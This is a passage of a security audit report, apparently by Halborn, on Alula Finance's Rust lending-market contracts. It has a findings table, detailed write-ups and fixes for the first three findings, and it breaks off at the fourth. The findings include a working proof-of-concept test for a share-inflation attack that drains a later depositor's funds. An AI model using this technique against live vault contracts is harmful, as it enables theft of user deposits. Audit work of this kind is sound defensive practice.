

Smart Contracts

Alula Finance

HALBORN

Smart Contracts - Alula Finance

Prepared by:  HALBORN

Last Updated 03/10/2026

Date of Engagement: December 30th, 2025 - February 5th, 2026

Summary

100% ⓘ OF ALL REPORTED FINDINGS HAVE BEEN ADDRESSED

ALL FINDINGS	CRITICAL	HIGH	MEDIUM	LOW	INFORMATIONAL
32	6	3	10	8	5

TABLE OF CONTENTS

1. Introduction	
2. Assessment summary	
3. Test approach and methodology	
4. Risk methodology	
5. Scope	
6. Assessment summary & findings overview	
7. Findings & Tech Details	
7.1 Share inflation via donation enables repeated value capture in new pools	
7.2 Distributed fees do not reduce available liquidity accounting	
7.3 Inconsistent asset value scaling across core protocol operations	
7.4 Unrestricted external control of market operational state	
7.5 Referrer fees charged but never distributed	
7.6 Liquidation repayments desynchronize pool liquidity accounting	
7.7 Unauthorized fee draining from flash loan receivers	
7.8 Zero oracle price is accepted as valid and propagated to valuation logic	
7.9 Spot reserve price can be manipulated and used as an oracle output	
7.10 Pool supply limit can be bypassed via donation	
7.11 Global protocol state can be irreversibly erased by an administrative action	

- 7.12 Liquidity fragmentation through multiple pools for the same asset
- 7.13 Multiply pair configuration allows identical underlying assets on both sides
- 7.14 Reserved fee liquidity can be treated as withdrawable or lendable liquidity
- 7.15 Swap execution does not allow user defined minimum output protection
- 7.16 Leveraged deposit can misaccount borrow and referrer fees
- 7.17 Repay fee can prevent full debt closure in leveraged withdrawal flow
- 7.18 Leveraged withdrawal can consume tokens already accounted as withdraw fees
- 7.19 Small collateral deposits can be forcibly removed through bad debt coverage
- 7.20 Missing validation of transfer amounts before execution
- 7.21 Centralized market upgrades blocked by misaligned authorization
- 7.22 Unbounded bootstrap configuration can degrade interest accrual and block pool operations
- 7.23 Overlapping bootstrap periods alter liquidity release behavior
- 7.24 Hardcoded external router address reduces integration safety and upgrade flexibility
- 7.25 Liquidations can revert due to negative accrued interest accounting
- 7.26 Swap allows identical input and output tokens
- 7.27 Rounding effects can produce zero token side effects despite positive input amounts
- 7.28 Zero amount operations trigger unnecessary state changes
- 7.29 Unbounded scarcity fee configuration can block withdrawals
- 7.30 Simulation path may diverge from actual withdrawal behavior
- 7.31 State changing operations execute without emitting events
- 7.32 Unused functions

1. INTRODUCTION

Alula Finance engaged Halborn to conduct a security assessment on their smart contracts beginning on December 30th, 2025 and ending on February 5th, 2026. The security assessment was scoped to smart contracts in the GitHub repository provided to the Halborn team. Commit hashes and further details can be found in the Scope section of this report.

2. ASSESSMENT SUMMARY

The team at Halborn assigned a full-time security engineer to assess the security of the smart contracts. The security engineer is a blockchain and smart-contract security expert with advanced penetration testing, smart-contract hacking, and deep knowledge of multiple blockchain protocols.

The purpose of this assessment is to:

- Ensure that smart contract functions operate as intended.
- Identify potential security issues with the smart contracts.

In summary, Halborn identified some improvements to reduce the likelihood and impact of risks, which were mostly addressed by the Alula Finance team. The main ones were the following:

- Prevent the pool balance from increasing without a proportional issuance of ownership shares, ensuring that every nonzero contribution results in a corresponding share allocation and avoiding scenarios where contributors receive no ownership.
- Ensure that the pool balance is decremented by the exact amount of distributed take rate fees whenever fees are paid out.
- Ensure that collateral and debt values are always normalized to a consistent internal scale before any health, utilization or liquidation logic is applied.
- Restrict market state changes to explicitly authorized actors, requiring approval from a privileged role such as protocol administration or governance before allowing any update to the market state.
- Ensure that referrer incentives are fully accounted for by consistently calculating and transferring the corresponding amounts whenever referral fees are charged and by validating that such fees always result in an actual payout.
- Update pool liquidity accounting consistently during debt repayment in liquidation.
- Require explicit consent from the intended recipient before executing any flash loan, guaranteeing that the receiver has approved the operation or the initiating party and preventing third parties from triggering flash loans without authorization.
- Ensure that the oracle price is strictly greater than zero and revert execution when a zero price is returned.
- Avoid using spot reserve ratios as an oracle output for value sensitive decisions.

3. TEST APPROACH AND METHODOLOGY

Halborn conducted a combination of manual code review and automated security testing to balance efficiency, timeliness, practicality, and accuracy within the scope of this assessment. While manual testing is crucial for identifying flaws in logic, processes, and implementation, automated testing enhances coverage of smart contracts and quickly detects deviations from established security best practices.

The following phases and associated tools were employed throughout the term of the assessment:

- Research into the platform's architecture, purpose, threat model, and intended user flows.
- Manual code review and walkthrough of scoped Soroban (Rust) smart contracts, focusing on cross-contract call flows, authorization boundaries, invariants, and upgrade paths.
- Comprehensive assessment of the safety and usage of critical Rust patterns and Soroban primitives (authorization, storage, eventing, and cross-contract invocation) that could lead to logic, configuration, or availability issues.
- Local testing using Soroban unit tests and custom PoCs where appropriate.
- Automated dependency review via Rust tooling where feasible to highlight ecosystem-level risks and maintenance concerns.

4. RISK METHODOLOGY

Every vulnerability and issue observed by Halborn is ranked based on **two sets of Metrics** and a **Severity Coefficient**. This system is inspired by the industry standard Common Vulnerability Scoring System.

The two **Metric sets** are: **Exploitability** and **Impact**. **Exploitability** captures the ease and technical means by which vulnerabilities can be exploited and **Impact** describes the consequences of a successful exploit.

The **Severity Coefficients** is designed to further refine the accuracy of the ranking with two factors: **Reversibility** and **Scope**. These capture the impact of the vulnerability on the environment as well as the number of users and smart contracts affected.

The final score is a value between 0-10 rounded up to 1 decimal place and 10 corresponding to the highest security risk. This provides an objective and accurate rating of the severity of security vulnerabilities in smart contracts.

The system is designed to assist in identifying and prioritizing vulnerabilities based on their level of risk to address the most critical issues in a timely manner.

4.1 EXPLOITABILITY

ATTACK ORIGIN (AO):

Captures whether the attack requires compromising a specific account.

ATTACK COST (AC):

Captures the cost of exploiting the vulnerability incurred by the attacker relative to sending a single transaction on the relevant blockchain. Includes but is not limited to financial and computational cost.

ATTACK COMPLEXITY (AX):

Describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Includes but is not limited to macro situation, available third-party liquidity and regulatory challenges.

METRICS:

EXPLOITABILITY METRIC (M_E)	METRIC VALUE	NUMERICAL VALUE
Attack Origin (AO)	Arbitrary (AO:A) Specific (AO:S)	1 0.2

EXPLOITABILITY METRIC (M_E)	METRIC VALUE	NUMERICAL VALUE
Attack Cost (AC)	Low (AC:L) Medium (AC:M) High (AC:H)	1 0.67 0.33
Attack Complexity (AX)	Low (AX:L) Medium (AX:M) High (AX:H)	1 0.67 0.33

Exploitability E is calculated using the following formula:

$$E = \prod m_e$$

4.2 IMPACT

CONFIDENTIALITY (C):

Measures the impact to the confidentiality of the information resources managed by the contract due to a successfully exploited vulnerability. Confidentiality refers to limiting access to authorized users only.

INTEGRITY (I):

Measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of data stored and/or processed on-chain. Integrity impact directly affecting Deposit or Yield records is excluded.

AVAILABILITY (A):

Measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. This metric refers to smart contract features and functionality, not state. Availability impact directly affecting Deposit or Yield is excluded.

DEPOSIT (D):

Measures the impact to the deposits made to the contract by either users or owners.

YIELD (Y):

Measures the impact to the yield generated by the contract for either users or owners.

METRICS:

IMPACT METRIC (M_I)	METRIC VALUE	NUMERICAL VALUE
Confidentiality (C)	None (C:N)	0
	Low (C:L)	0.25
	Medium (C:M)	0.5
	High (C:H)	0.75
	Critical (C:C)	1
Integrity (I)	None (I:N)	0
	Low (I:L)	0.25
	Medium (I:M)	0.5
	High (I:H)	0.75
	Critical (I:C)	1
Availability (A)	None (A:N)	0
	Low (A:L)	0.25
	Medium (A:M)	0.5
	High (A:H)	0.75
	Critical (A:C)	1
Deposit (D)	None (D:N)	0
	Low (D:L)	0.25
	Medium (D:M)	0.5
	High (D:H)	0.75
	Critical (D:C)	1
Yield (Y)	None (Y:N)	0
	Low (Y:L)	0.25
	Medium (Y:M)	0.5
	High (Y:H)	0.75
	Critical (Y:C)	1

Impact I is calculated using the following formula:

$$I = \max(m_I) + \frac{\sum m_I - \max(m_I)}{4}$$

4.3 SEVERITY COEFFICIENT

REVERSIBILITY (R):

Describes the share of the exploited vulnerability effects that can be reversed. For upgradeable contracts, assume the contract private key is available.

SCOPE (S):

Captures whether a vulnerability in one vulnerable contract impacts resources in other contracts.

METRICS:

SEVERITY COEFFICIENT (<i>C</i>)	COEFFICIENT VALUE	NUMERICAL VALUE
Reversibility (<i>r</i>)	None (R:N)	1
	Partial (R:P)	0.5
	Full (R:F)	0.25
Scope (<i>s</i>)	Changed (S:C)	1.25
	Unchanged (S:U)	1

Severity Coefficient *C* is obtained by the following product:

$$C = rs$$

The Vulnerability Severity Score *S* is obtained by:

$$S = min(10, EIC * 10)$$

The score is rounded up to 1 decimal places.

SEVERITY	SCORE VALUE RANGE
Critical	9 - 10
High	7 - 8.9
Medium	4.5 - 6.9
Low	2 - 4.4

SEVERITY	SCORE VALUE RANGE
Informational	0 - 1.9

5. SCOPE

REPOSITORY

(a) Repository: [alula](#)

(b) Assessed Commit ID: 1738844

(c) Items in scope:

- [contracts/aggregated-oracle](#)
- [contracts/controlled_insurance_fund](#)
- [contracts/market](#)
- [contracts/market_manager](#)
- [contracts/soroswap_sep_40_adapter](#)

Out-of-Scope: Third party dependencies and economic attacks.

REMEDATION COMMIT ID:

- [b70df6b](#)
- [15e950d](#)
- [8dc56ed](#)
- [572c882](#)
- [43bc4e7](#)
- [28a534c](#)
- <https://gist.github.com/khomiakmaxim/f8c9f274d59db08a9f11cd4dbf317be2>
- [0188b55](#)
- [c87a0cb](#)
- [89faf76](#)
- [6622ad5](#)
- [2f2c48d](#)
- [b7d772a](#)
- [f6cd1ae](#)
- [54f9292](#)
- [fa540f1](#)
- [8858751](#)
- [1fb38f7](#)
- [dee7c67](#)
- [69c9868](#)
- [06a7aa3](#)
- [8c230a5](#)

- [ebbeef5](#)
- [b959775](#)

Out-of-Scope: New features/implementations after the remediation commit IDs.

6. ASSESSMENT SUMMARY & FINDINGS OVERVIEW

CRITICAL	HIGH	MEDIUM	LOW	INFORMATIONAL
6	3	10	8	5

SECURITY ANALYSIS	RISK LEVEL	REMEDIATION DATE
SHARE INFLATION VIA DONATION ENABLES REPEATED VALUE CAPTURE IN NEW POOLS	CRITICAL	SOLVED - 02/12/2026
DISTRIBUTED FEES DO NOT REDUCE AVAILABLE LIQUIDITY ACCOUNTING	CRITICAL	SOLVED - 02/16/2026
INCONSISTENT ASSET VALUE SCALING ACROSS CORE PROTOCOL OPERATIONS	CRITICAL	SOLVED - 02/25/2026
UNRESTRICTED EXTERNAL CONTROL OF MARKET OPERATIONAL STATE	CRITICAL	SOLVED - 02/16/2026
REFERRER FEES CHARGED BUT NEVER DISTRIBUTED	CRITICAL	SOLVED - 03/01/2026
LIQUIDATION REPAYMENTS DESYNCHRONIZE POOL LIQUIDITY ACCOUNTING	CRITICAL	SOLVED - 02/19/2026

SECURITY ANALYSIS	RISK LEVEL	REMEDIATION DATE
UNAUTHORIZED FEE DRAINING FROM FLASH LOAN RECEIVERS	HIGH	PARTIALLY SOLVED - 01/26/2026
ZERO ORACLE PRICE IS ACCEPTED AS VALID AND PROPAGATED TO VALUATION LOGIC	HIGH	SOLVED - 02/16/2026
SPOT RESERVE PRICE CAN BE MANIPULATED AND USED AS AN ORACLE OUTPUT	HIGH	RISK ACCEPTED - 02/16/2026
POOL SUPPLY LIMIT CAN BE BYPASSED VIA DONATION	MEDIUM	SOLVED - 02/12/2026
GLOBAL PROTOCOL STATE CAN BE IRREVERSIBLY ERASED BY AN ADMINISTRATIVE ACTION	MEDIUM	SOLVED - 02/17/2026
LIQUIDITY FRAGMENTATION THROUGH MULTIPLE POOLS FOR THE SAME ASSET	MEDIUM	SOLVED - 03/01/2026
MULTIPLY PAIR CONFIGURATION ALLOWS IDENTICAL UNDERLYING ASSETS ON BOTH SIDES	MEDIUM	SOLVED - 03/01/2026
RESERVED FEE LIQUIDITY CAN BE TREATED AS WITHDRAWABLE OR LENDABLE LIQUIDITY	MEDIUM	SOLVED - 02/17/2026
SWAP EXECUTION DOES NOT ALLOW USER DEFINED MINIMUM OUTPUT PROTECTION	MEDIUM	SOLVED - 02/18/2026
LEVERAGED DEPOSIT CAN MISACCOUNT BORROW AND REFERRER FEES	MEDIUM	SOLVED - 03/05/2026

SECURITY ANALYSIS	RISK LEVEL	REMEDIATION DATE
REPAY FEE CAN PREVENT FULL DEBT CLOSURE IN LEVERAGED WITHDRAWAL FLOW	MEDIUM	SOLVED - 03/05/2026
LEVERAGED WITHDRAWAL CAN CONSUME TOKENS ALREADY ACCOUNTED AS WITHDRAW FEES	MEDIUM	SOLVED - 03/05/2026
SMALL COLLATERAL DEPOSITS CAN BE FORCIBLY REMOVED THROUGH BAD DEBT COVERAGE	MEDIUM	SOLVED - 03/03/2026
MISSING VALIDATION OF TRANSFER AMOUNTS BEFORE EXECUTION	LOW	RISK ACCEPTED - 03/04/2026
CENTRALIZED MARKET UPGRADES BLOCKED BY MISALIGNED AUTHORIZATION	LOW	SOLVED - 03/01/2026
UNBOUNDED BOOTSTRAP CONFIGURATION CAN DEGRADE INTEREST ACCRUAL AND BLOCK POOL OPERATIONS	LOW	SOLVED - 02/18/2026
OVERLAPPING BOOTSTRAP PERIODS ALTER LIQUIDITY RELEASE BEHAVIOR	LOW	SOLVED - 02/18/2026
HARDCODED EXTERNAL ROUTER ADDRESS REDUCES INTEGRATION SAFETY AND UPGRADE FLEXIBILITY	LOW	SOLVED - 02/18/2026
LIQUIDATIONS CAN REVERT DUE TO NEGATIVE ACCRUED INTEREST ACCOUNTING	LOW	SOLVED - 02/19/2026
SWAP ALLOWS IDENTICAL INPUT AND OUTPUT TOKENS	LOW	SOLVED - 02/18/2026

SECURITY ANALYSIS	RISK LEVEL	REMEDIATION DATE
ROUNDING EFFECTS CAN PRODUCE ZERO TOKEN SIDE EFFECTS DESPITE POSITIVE INPUT AMOUNTS	LOW	SOLVED - 03/02/2026
ZERO AMOUNT OPERATIONS TRIGGER UNNECESSARY STATE CHANGES	INFORMATIONAL	SOLVED - 03/03/2026
UNBOUNDED SCARCITY FEE CONFIGURATION CAN BLOCK WITHDRAWALS	INFORMATIONAL	SOLVED - 02/12/2026
SIMULATION PATH MAY DIVERGE FROM ACTUAL WITHDRAWAL BEHAVIOR	INFORMATIONAL	PARTIALLY SOLVED - 03/01/2026
STATE CHANGING OPERATIONS EXECUTE WITHOUT EMITTING EVENTS	INFORMATIONAL	SOLVED - 02/17/2026
UNUSED FUNCTIONS	INFORMATIONAL	SOLVED - 02/12/2026

7. FINDINGS & TECH DETAILS

7.1 SHARE INFLATION VIA DONATION ENABLES REPEATED VALUE CAPTURE IN NEW POOLS

// CRITICAL

Description

The **Market** contract allows the pool total supply to increase without issuing shares, which breaks the expected proportional relationship between deposited assets and minted **jTokens**. Specifically, the **donate** function increases the pool supply without increasing **total_j_tokens**, while the **deposit** function mints shares using floor based arithmetic:

 Copy Code

```
940 fn donate(e: Env, user: Address, pool_address: Address, amount: i128) -> Result<(), MError> {
941     user.require_auth();
942     require_nonnegative(amount)?;
943     storage::extend_instance_storage(&e);
944
945     let mut pool = Pool::try_get(&e, &pool_address)?;
946     pool accrue_interest(&e)?;
947     pool.adjust_total_available(&e, amount)?;
948     pool.set(&e);
949
950     let token_client = token::Client::new(&e, &pool.token_address);
951     token_client.transfer(&user, e.current_contract_address(), &amount);
952
953     Ok(())
954 }
```

When a first depositor initializes the pool, **INITIAL_SHARES_AMOUNT** **jTokens** are minted regardless of the deposited amount. If this depositor subsequently increases the pool supply via **donate**, the share price increases without issuing new shares. A later depositor can then deposit a nonzero amount and receive zero **jTokens** due to rounding down in **Pool::compute_shares_from_tokens_floor**. As a result, the later depositor transfers assets into the pool but receives no redeemable shares. Since the initial depositor owns all existing **jTokens**, they can withdraw the entire pool supply, including the assets deposited by the later depositor.

Although the exploit is scoped to individual vaults, the underlying condition affects every newly created vault and can be **repeatedly exploited by an attacker who monitors pool creation and deposit activity**. Since vault initialization and early deposits are expected to occur without coordination between users, the attacker can systematically capture deposits across multiple vaults over time, resulting in significant cumulative loss and elevating the impact from a single instance failure to a protocol wide concern.

Proof of Concept

The following PoC shows an inflation attack where the first depositor inflates the pool share price via donations, causing a subsequent depositor to receive zero shares due to integer rounding and allowing the attacker to withdraw the full pool balance, including the victim's deposit:

 Copy Code

```
#[test]
fn test_inflation_attack() {
    // Create a fresh fixture with a deployed Market instance and an initialized GOLD pool.
    let TestMarketFixture {
        e,
        contract_client,
        gold_pool_address,
        users,
        gold_token_client,
        ..
    } = TestMarketFixture::new();

    // Attacker is the first depositor. Victim is the next depositor.
    let attacker = &users[0];
    let victim = &users[1];

    // Preconditions:
    // - Pool starts empty.
    // - Withdraw fees are disabled to keep the PoC focused on share inflation only.
    let pool_before = contract_client.get_pool(&gold_pool_address);
    assert_eq!(pool_before.total_j_tokens, 0);
    assert_eq!(pool_before.total_supply().unwrap(), 0);
    assert_eq!(pool_before.config.fee_config.withdraw_fee_bps, 0);

    // Snapshot balances to prove value transfer at the end of the test.
    let attacker_balance_before = gold_token_client.balance(attacker);
    let victim_balance_before = gold_token_client.balance(victim);

    // Step 1:
    // Attacker performs the first deposit with a minimal amount.
    // This bootstraps the pool by minting INITIAL_SHARES_AMOUNT shares to the attacker.
    let attacker_deposit: i128 = 1;
    contract_client.deposit(attacker, &gold_pool_address, &attacker_deposit, &None);

    // Sanity check: the initial share supply was minted on the first deposit.
    let pool_after_first_deposit = contract_client.get_pool(&gold_pool_address);
    assert_eq!(pool_after_first_deposit.total_j_tokens, INITIAL_SHARES_AMOUNT);

    // Step 2:
    // Victim intends to deposit a meaningful amount.
    // The attack assumes the attacker can act before this deposit is executed.
    let victim_deposit: i128 = 10*INITIAL_SHARES_AMOUNT;
    // Front-run contract_client.deposit(victim, &gold_pool_address, &victim_deposit, &None);

    // Step 3:
    // Attacker donates underlying into the pool without receiving shares.
    // This increases total_supply while total_j_tokens stays constant, inflating the share price.
    let donation_amount: i128 = victim_deposit*INITIAL_SHARES_AMOUNT;
    contract_client.donate(attacker, &gold_pool_address, &donation_amount);

    // Sanity check: donate does not mint shares.
    let pool_after_donate = contract_client.get_pool(&gold_pool_address);
    assert_eq!(pool_after_donate.total_j_tokens, INITIAL_SHARES_AMOUNT);

    // Step 4:
    // Victim deposit is executed after the donation.
    // With the share price inflated, integer rounding can mint 0 shares for a nonzero deposit.
    contract_client.deposit(victim, &gold_pool_address, &victim_deposit, &None);

    // Sanity check: total shares did not increase, so the victim received 0 minted shares.
    let pool_after_victim_deposit = contract_client.get_pool(&gold_pool_address);
    assert_eq!(pool_after_victim_deposit.total_j_tokens, INITIAL_SHARES_AMOUNT);

    // Confirm the victim position effectively received no redeemable shares in token units.
    let victim_j_tokens_as_tokens =
```

```

        get_obligation_j_tokens_as_tokens(&e, &contract_client, victim, &gold_pool_address).unwrap();
        assert_eq!(victim_j_tokens_as_tokens, 0);

// Step 5:
// Attacker withdraws the full pool supply.
// Since the attacker owns all shares, they can redeem all underlying, including the victim deposit.
let total_supply_now = pool_after_victim_deposit.total_supply().unwrap();
contract_client.withdraw(attacker, &gold_pool_address, &total_supply_now, &None);

// Read final balances to demonstrate the net effect of the attack.
let attacker_balance_after = gold_token_client.balance(attacker);
let victim_balance_after = gold_token_client.balance(victim);

// Victim loses the deposited amount.
assert_eq!(
    victim_balance_after,
    victim_balance_before.checked_sub(victim_deposit).unwrap()
);

// Attacker nets the victim deposit.
// The donation is recovered when withdrawing the full pool supply.
assert_eq!(
    attacker_balance_after,
    attacker_balance_before.checked_add(victim_deposit).unwrap()
);
}

```

The test execution was successful:

```

> RUSTFLAGS="-A dead_code" cargo test --package tests --lib -- deposit::test_inflation_attack --exact --nocapture
   Finished `test` profile [unoptimized + debuginfo] target(s) in 0.42s
   Running unittests src/lib.rs (target/debug/deps/tests-04d76fdf0c3b9f71)

running 1 test
Writing test snapshot file for test "deposit::test_inflation_attack" to "test_snapshots/deposit/test_inflation_attack.1.json".
test deposit::test_inflation_attack ... ok

test result: ok. 1 passed; 0 failed; 0 ignored; 0 measured; 154 filtered out; finished in 0.18s

```

BVSS

AO:A/AC:L/AX:L/R:N/S:U/C:N/A:N/I:N/D:C/Y:N (10.0)

Recommendation

It is recommended to prevent situations where pool supply can increase without minting proportional shares, either by disallowing donations, minting shares on donation, or enforcing a minimum of one share minted per nonzero deposit to avoid zero-share outcomes.

Remediation Comment

SOLVED: The Alula Finance team solved the issue in the specified commit id.

Remediation Hash

<https://github.com/pointgroup-labs/alula/commit/b70df6b91b2dcb1bdd57e59b3bd39086ccbc102e>

7.2 DISTRIBUTED FEES DO NOT REDUCE AVAILABLE LIQUIDITY ACCOUNTING

// CRITICAL

Description

In the **Market** contract, the `process_distribute_pool_fees` function transfers accumulated take rate fees to beneficiaries without decreasing the pool `total_available` field. As a result, tokens are effectively moved out of the contract balance while internal accounting continues to assume the same amount of available liquidity:

 Copy Code

```
1242     if pool.total_available > pool.take_rate_fees_sum {
1243         // TODO: Ideally, we can distribute `take_rate` fees when there's not enough available liquidity
1244         // to redeem all of them, but this requires an additional refactoring
1245
1246         // -- Distribute Take Rate Fees --
1247
1248         if let Some(take_rate_beneficiaries) = &pool.config.fee_config.take_rate_beneficiaries {
1249             for (beneficiary_address, share_bps) in take_rate_beneficiaries.iter() {
1250                 if share_bps == 0 {
1251                     continue;
1252                 }
1253                 let amount = pool
1254                     .take_rate_fees_sum
1255                     .fixed_mul_floor(share_bps as i128, BPS_FACTOR)
1256                     .map_over_or_underflow()?;
1257
1258                 token_client.transfer(&market_addr, &beneficiary_address, &amount);
1259
1260                 if beneficiary_address == insurance_fund_addr {
1261                     let fund_client = InsuranceFundClient::new(e, &insurance_fund_addr);
1262                     fund_client.add_reserves(&pool.token_address, &amount);
1263                 }
1264             }
1265         }
1266         pool.take_rate_fees_sum = 0;
1267     }
```

After fees are distributed, `total_available` continues to reflect funds that no longer exist on chain. This incorrect value is then reused across multiple critical flows, including utilization ratio checks, borrow capacity calculations, supply accounting, and health related validations. As a consequence, the system can make economic decisions based on liquidity that has already been transferred out, leading to incorrect borrowing limits, distorted utilization metrics, and invalid assumptions about pool solvency.

Because `process_distribute_pool_fees` is callable externally and the accounting error is not self correcting, this desynchronization persists across blocks and compounds over time, affecting all users interacting with the pool after fee distribution.

Proof of Concept

The following PoC shows that protocol fees can be distributed and real tokens leave the system while the internal liquidity accounting remains unchanged, causing a permanent divergence between actual balances

and the values used by the protocol for liquidity and utilization calculations:

 Copy Code

```
#[test]
fn test_distribute_pool_fees_transfers_tokens_but_keeps_total_available_unchanged() {
    // Set borrow_fee_bps to 0 to avoid operation fees interfering with this test
    let pool_config = PoolConfig {
        fee_config: PoolFeeConfig { borrow_fee_bps: 0, ..Default::default() },
        ..Default::default()
    };

    let TestMarketFixture {
        e,
        contract_id,
        contract_client,
        usdc_pool_address,
        gold_pool_address,
        users,
        usdc_token_client,
        ..
    } = TestMarketFixture::new_with_pool_config(pool_config);

    let borrower = &users[0];
    let liquidity_provider = &users[1];

    // Provide collateral and liquidity so interest can accrue and take rate fees can accumulate
    contract_client.deposit(borrower, &gold_pool_address, &(2 * DEFAULT_DEPOSIT_AMOUNT), &None);
    contract_client.deposit(
        liquidity_provider,
        &usdc_pool_address,
        &(2 * DEFAULT_DEPOSIT_AMOUNT),
        &None,
    );
    contract_client.borrow(borrower, &usdc_pool_address, &DEFAULT_DEPOSIT_AMOUNT, &None);

    // Configure take rate fee beneficiaries so the distribution actually transfers tokens out
    let beneficiary_1 = Address::generate(&e);
    let beneficiary_2 = Address::generate(&e);
    contract_client.set_take_rate_fees_beneficiaries(
        &usdc_pool_address,
        &smap![&e, (beneficiary_1.clone(), 3_000), (beneficiary_2.clone(), 7_000)],
    );

    // Accrue interest to accumulate take rate fees
    e.ledger().with_mut(|li| {
        li.timestamp += SECONDS_IN_YEAR / 12;
    });
    contract_client.refresh_pool(&usdc_pool_address);

    let fees_before = get_pool_take_rate_fees_sum(&contract_client, &usdc_pool_address);
    assert!(fees_before > 0);

    let pool_before = contract_client.get_pool(&usdc_pool_address);
    let total_available_before = pool_before.total_available;

    let market_balance_before = usdc_token_client.balance(&contract_id);

    // Anyone can call this entry point, it will distribute the accumulated take rate fees
    contract_client.distribute_pool_fees(&usdc_pool_address);

    let pool_after = contract_client.get_pool(&usdc_pool_address);
    let total_available_after = pool_after.total_available;

    let fees_after = get_pool_take_rate_fees_sum(&contract_client, &usdc_pool_address);
    assert_eq!(fees_after, 0);

    let market_balance_after = usdc_token_client.balance(&contract_id);
    let market_balance_diff = market_balance_before.checked_sub(market_balance_after).unwrap();

    // Confirm real token transfer happened
    assert_approx_eq_abs(market_balance_diff, fees_before, 1);
}
```

```
// Confirm pool accounting did not reflect the tokenoutflow
assert_eq!(total_available_after, total_available_before);
}
```

The test execution was successful:

```
> RUSTFLAGS="-A dead_code" cargo test --package tests --lib -- fees::test_distribute_pool_fees_transfers_tokens_but_keep
s_total_available_unchanged --exact --nocapture
    Finished `test` profile [unoptimized + debuginfo] target(s) in 0.10s
    Running unittests src/lib.rs (target/debug/deps/tests-04d76fdf0c3b9f71)

running 1 test
Writing test snapshot file for test "fees::test_distribute_pool_fees_transfers_tokens_but_keeps_total_available_unchange
d" to "test_snapshots/fees/test_distribute_pool_fees_transfers_tokens_but_keeps_total_available_unchanged.1.json".
test fees::test_distribute_pool_fees_transfers_tokens_but_keeps_total_available_unchanged ... ok

test result: ok. 1 passed; 0 failed; 0 ignored; 0 measured; 155 filtered out; finished in 0.28s
```

BVSS

AO:A/AC:L/AX:L/R:N/S:U/C:N/A:N/I:H/D:M/Y:M (10.0)

Recommendation

It is recommended to decrement the pool `total_available` by the exact amount of take rate fees distributed, so that internal accounting remains aligned with real token balances and all downstream calculations operate on correct liquidity data.

Remediation Comment

SOLVED: The Alula Finance team solved the issue in the specified commit id.

Remediation Hash

<https://github.com/pointgroup-labs/alula/commit/15e950d887a3cc2a43bacba9e8c8450af8f3776d>

7.3 INCONSISTENT ASSET VALUE SCALING ACROSS CORE PROTOCOL OPERATIONS

// CRITICAL

Description

The **Market** contract implicitly assumes a fixed decimal standard when computing collateral and debt values that are used to evaluate obligation health. These calculations are performed by

`compute_pool_collateral_value_scaled` and `compute_pool_debt_value_scaled` and are exercised during borrowing, withdrawal, collateral removal and liquidation flows:

 Copy Code

```
437 fn compute_pool_collateral_value_scaled(  
438     e: &Env,  
439     pool: &Pool,  
440     deposit_position: &DepositPosition,  
441     scalar_bps: i128,  
442 ) -> Result<i128, MCErr> {  
443     let &DepositPosition { j_tokens, collateral, .. } = deposit_position;  
444  
445     let supply = pool.compute_tokens_from_j_tokens_floor(e, j_tokens)?;  
446     let total_collateral_tokens = supply.checked_add(collateral).map_over_or_underflow()?;  
447  
448     if scalar_bps == BPS_FACTOR {  
449         let price = oracle::get_asset_price(e, &pool.token_address)?;  
450  
451         total_collateral_tokens.checked_mul(price).map_over_or_underflow()  
452     } else {  
453         Self::compute_asset_value_scaled_floor(e, total_collateral_tokens, pool, scalar_bps)  
454     }  
455 }
```

 Copy Code

```
459 fn compute_pool_debt_value_scaled(  
460     e: &Env,  
461     pool: &Pool,  
462     borrow_position: &BorrowPosition,  
463     scalar_bps: i128,  
464 ) -> Result<i128, MCErr> {  
465     let &BorrowPosition { d_tokens, .. } = borrow_position;  
466     let debt = pool.compute_tokens_from_d_tokens_ceil(e, d_tokens)?;  
467  
468     if scalar_bps == BPS_FACTOR {  
469         let price = oracle::get_asset_price(e, &pool.token_address)?;  
470  
471         debt.checked_mul(price).map_over_or_underflow()  
472     } else {  
473         Self::compute_asset_value_scaled_ceil(e, debt, pool, scalar_bps)  
474     }  
475 }
```

If a pool is configured with a token whose decimals differ from the expected standard, collateral value and debt value become incorrectly scaled. This directly corrupts obligation health checks across the protocol. Borrow limits can be miscomputed, withdrawals and collateral removals can be incorrectly permitted or denied, and liquidation eligibility can be evaluated incorrectly.

Depending on the direction of the decimal mismatch, this can result in positions that remain undercollateralized without being liquidated or healthy positions that become liquidatable prematurely. Since these valuations are reused across multiple core entry points, the issue propagates to all users interacting with the affected pool and breaks fundamental economic invariants of the protocol.

Step-by-step example

The protocol implicitly assumes a fixed 7-decimal scale when computing collateral and debt values:

1. A borrower uses a token with **6 decimals** as the borrowed asset.
2. The borrower borrows **100 tokens**.
3. The real on-chain amount transferred is $100 \times 10^6 = 100,000,000$.
4. This value is later interpreted by the protocol as if it were in **7 decimals**.
5. Interpreted at 7 decimals, **100,000,000** represents **10 tokens**, not 100.
6. The system therefore records a debt of 10 tokens while 100 tokens were actually transferred.

As a result, the obligation health calculation understates the real debt by a factor of 10.

BVSS

AO:A/AC:L/AX:L/R:N/S:U/C:N/A:N/I:C/D:N/Y:N (10.0)

Recommendation

It is recommended to either normalize all token amounts to the protocol 7 decimal scale before performing value calculations, or strictly enforce that only assets with exactly 7 decimals can be used in pools so that all accounting and health checks remain consistent.

Remediation Comment

SOLVED: The **Alula Finance team** solved the issue in the specified commit id.

Remediation Hash

<https://github.com/pointgroup-labs/alula/commit/8dc56ed80d82201cdbc0418dab31a07927817a8d>

7.4 UNRESTRICTED EXTERNAL CONTROL OF MARKET OPERATIONAL STATE

// CRITICAL

Description

The `update_market_status` function in the `ControlledInsuranceFund` contract allows any external caller to modify the operational state of a market without any authorization checks:

 Copy Code

```
98 | pub fn update_market_status(e: Env, new_status: u32) {
99 |     let market = storage::get_market(&e);
100 |     let market_client = market::MarketPartialClient::new(&e, &market);
101 |     market_client.fund_update_market_status(&new_status);
102 | }
```

Through this entry point, an unprivileged user can set the market status to values such as `Frozen`, `DepositFrozen`, or `BorrowFrozen`, which are then propagated to the `Market` contract via the insurance fund path. As a result, any third party can effectively pause deposits, borrowing or the entire market, causing a denial of service and disrupting normal protocol operation. This behavior breaks the expected trust boundary where only a privileged role such as a protocol admin or governance actor should be able to alter critical market state.

Proof of Concept

